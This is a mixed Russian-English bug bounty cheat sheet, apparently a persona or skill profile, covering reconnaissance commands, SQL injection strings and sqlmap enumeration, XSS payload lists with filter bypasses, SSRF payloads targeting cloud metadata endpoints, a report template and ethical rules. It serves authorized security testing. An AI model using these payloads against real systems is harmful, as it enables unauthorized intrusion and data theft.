Bug Bounty Program Specialist

Эксперт по исследованию уязвимостей и bug bounty hunting.

Методология тестирования

OWASP Top 10 Focus

• Injection (SQL, NoSQL, LDAP, OS commands)

• Broken Authentication

• Sensitive Data Exposure

• XML External Entities (XXE)

• Broken Access Control

• Security Misconfiguration

• Cross-Site Scripting (XSS)

• Insecure Deserialization

• Using Components with Known Vulnerabilities

• Insufficient Logging & Monitoring

Распределение усилий

• Reconnaissance: 30%

• Manual testing: 50%

• Automated scanning: 20%

Reconnaissance

Subdomain Enumeration

Пассивное перечисление

amass enum -passive -d target.com -o subdomains.txt

Активное перечисление

subfinder -d target.com -all -o subfinder.txt

DNS брутфорс

gobuster dns -d target.com -w wordlist.txt -o gobuster.txt

Объединение результатов

cat subdomains.txt subfinder.txt gobuster.txt | sort -u > all_subs.txt

Technology Stack Identification

Wappalyzer CLI

wappalyzer https://target.com

WhatWeb

whatweb -a 3 https://target.com

Nuclei technology detection

nuclei -u https://target.com -t technologies/

Port Scanning

Быстрое сканирование

nmap -sS -sV -O -p- --min-rate 1000 target.com -oA nmap_full

Сканирование сервисов

nmap -sC -sV -p 80,443,8080,8443 target.com -oA nmap_services

SQL Injection Testing

Manual Detection

-- Error-based ' OR '1'='1 ' AND '1'='2 ' UNION SELECT NULL--

-- Time-based blind '; WAITFOR DELAY '00:00:05'-- ' OR SLEEP(5)--

-- Boolean-based blind ' AND 1=1-- ' AND 1=2--

SQLMap

Basic injection test

sqlmap -u "https://target.com/page?id=1" --batch

With authentication

sqlmap -u "https://target.com/page?id=1" --cookie="session=abc123" --batch

POST data

sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch

Database enumeration

sqlmap -u "https://target.com/page?id=1" --dbs --batch sqlmap -u "https://target.com/page?id=1" -D dbname --tables --batch

XSS Testing

Payload Types

// Reflected XSS <script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')>

// DOM-based XSS javascript:alert('XSS') data:text/html,<script>alert('XSS')</script>

// Bypass filters <ScRiPt>alert('XSS')</ScRiPt> <img src=x onerror="&#x61;lert('XSS')"> <svg/onload=alert('XSS')>

// Stored XSS via different contexts "><script>alert('XSS')</script> '-alert('XSS')-' </title><script>alert('XSS')</script>

Context-Specific Payloads

// In HTML attribute " onfocus=alert('XSS') autofocus=" ' onfocus=alert('XSS') autofocus='

// In JavaScript string ';alert('XSS');// "-alert('XSS')-"

// In URL parameter javascript:alert('XSS') data:text/html,<script>alert('XSS')</script>

SSRF Testing

Basic Payloads

Localhost bypass

http://127.0.0.1 http://localhost http://[::1] http://0.0.0.0 http://127.1 http://0177.0.0.1

Cloud metadata

http://169.254.169.254/latest/meta-data/ http://metadata.google.internal/

Detection Methods

Out-of-band detection using Burp Collaborator

url = "http://your-collaborator-id.burpcollaborator.net"

Webhook.site for testing

url = "https://webhook.site/unique-id"

Report Writing

Structure

Vulnerability Report

Summary

[One-line description]

Severity

[Critical/High/Medium/Low] - CVSS Score: X.X

Affected Component

[URL/Endpoint/Feature]

Description

[Detailed technical explanation]

Steps to Reproduce

1. [Step 1]
2. [Step 2]
3. [Step 3]

Proof of Concept

[Screenshots, code, requests]

Impact

[Business/technical impact]

Remediation

[Specific recommendations]

References

[CVE, OWASP, etc.]

CVSS Calculator Factors

• Attack Vector (AV): Network/Adjacent/Local/Physical

• Attack Complexity (AC): Low/High

• Privileges Required (PR): None/Low/High

• User Interaction (UI): None/Required

• Scope (S): Unchanged/Changed

• Confidentiality Impact (C): None/Low/High

• Integrity Impact (I): None/Low/High

• Availability Impact (A): None/Low/High

Tools Checklist

Reconnaissance

• Amass / Subfinder

• Nmap

• Shodan

• Google Dorks

Web Testing

• Burp Suite

• OWASP ZAP

• SQLMap

• Nuclei

Automation

• ffuf (fuzzing)

• httpx (probing)

• waybackurls

• gau (URLs gathering)

Ethical Guidelines

• Stay in scope — тестируйте только разрешенные цели

• Don't be destructive — избегайте DoS и потери данных

• Protect data — не распространяйте найденные данные

• Report responsibly — следуйте disclosure policy

• Document everything — ведите детальные записи

• Respect rate limits — не перегружайте системы

Program Selection Strategy

Criteria

• Response time history

• Bounty amounts

• Scope breadth

• Program maturity

• Community feedback

Priority Matrix

Program Type Skill Level Potential

New programs Any High

Broad scope Intermediate Medium

Narrow scope Expert Low-Medium

VDP only Beginner Low